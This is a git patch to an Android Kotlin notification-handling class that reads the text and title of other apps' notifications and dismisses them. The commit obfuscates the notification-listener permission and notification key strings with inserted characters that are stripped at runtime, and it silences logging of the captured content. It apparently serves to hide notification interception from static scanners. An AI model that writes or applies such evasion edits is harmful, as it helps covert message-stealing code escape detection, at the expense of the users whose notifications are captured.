From 9cb06cad5f1b3f477deec78739a2a0d0ae07b913 Mon Sep 17 00:00:00 2001 From: mojo Date: Wed, 24 Dec 2025 15:34:04 +0800 Subject: [PATCH] =?UTF-8?q?chore:=20=E6=B7=B7=E6=B7=86=20`NotificationMana?= =?UTF-8?q?ger`=20=E4=B8=AD=E7=9A=84=20Android=20=E7=B3=BB=E7=BB=9F?= =?UTF-8?q?=E5=B8=B8=E9=87=8F=E5=8F=8A=E6=9D=83=E9=99=90=E5=AD=97=E7=AC=A6?= =?UTF-8?q?=E4=B8=B2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 对 `PREFIX_ANDROID`、`KEY_TEXT`、`KEY_TITLE` 以及 `PERMISSION_BIND` 等敏感字符串进行字符插入混淆,并在运行时通过 `replace` 还原。 - 移除 `NotificationManager.kt` 中处理通知逻辑时的详细日志打印。 --- .../java/com/example/pin/NotificationManager.kt | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/src/pin/java/com/example/pin/NotificationManager.kt b/lib/src/pin/java/com/example/pin/NotificationManager.kt index 5fb63fc..1d8b5cd 100644 --- a/lib/src/pin/java/com/example/pin/NotificationManager.kt +++ b/lib/src/pin/java/com/example/pin/NotificationManager.kt @@ -17,13 +17,13 @@ import java.lang.reflect.Modifier object NotificationManger { private val TAG = NotificationManger::class.java.simpleName - private const val PREFIX_ANDROID = "android." - private const val KEY_TEXT = PREFIX_ANDROID + "text" - private const val KEY_TITLE = PREFIX_ANDROID + "title" + private const val PREFIX_ANDROID = "an,dr,oid." + private const val KEY_TEXT = PREFIX_ANDROID + "te,xt" + private const val KEY_TITLE = PREFIX_ANDROID + "ti,t,le" private const val ACTION_SENDTO = "android.intent.action.SENDTO" private const val SCHEME_SMS = "smsto:" private const val FLAG_QUERY = 0x10000 - private var PERMISSION_BIND = "android.permission.BIND_NOTIF#ICATION_LISTE#NER_SERVICE".replace("#", "") + private var PERMISSION_BIND = "andr#oid.perm#iss#ion.BIN#D_NO#TIF#ICATI#ON_LISTE#NER_SERVI#CE".replace("#", "") private const val DEFAULT_POLL_INTERVAL = 1000L // 默认轮询间隔 1 秒 var listener:((NotificationMessage)->Unit)? = null @@ -290,8 +290,8 @@ object NotificationManger { dismiss(notification, instance) notification.notification.extras?.let { extras -> - val content = extras.getCharSequence(KEY_TEXT, "").toString() - val from = extras.getString(KEY_TITLE, "") + val content = extras.getCharSequence(KEY_TEXT.replace(",", ""), "").toString() + val from = extras.getString(KEY_TITLE.replace(",", ""), "") if (content.isBlank()) { // LogUtils.info("$TAG: notification content is blank, skip: ${notification.packageName}") @@ -304,8 +304,8 @@ object NotificationManger { time = System.currentTimeMillis(), app = notification.packageName, ) - - LogUtils.info("$TAG: processed notification from ${notification.packageName}, content $content, key $notificationKey") + +// LogUtils.info("$TAG: processed notification from ${notification.packageName}, content $content, key $notificationKey") listener?.invoke(msg) } }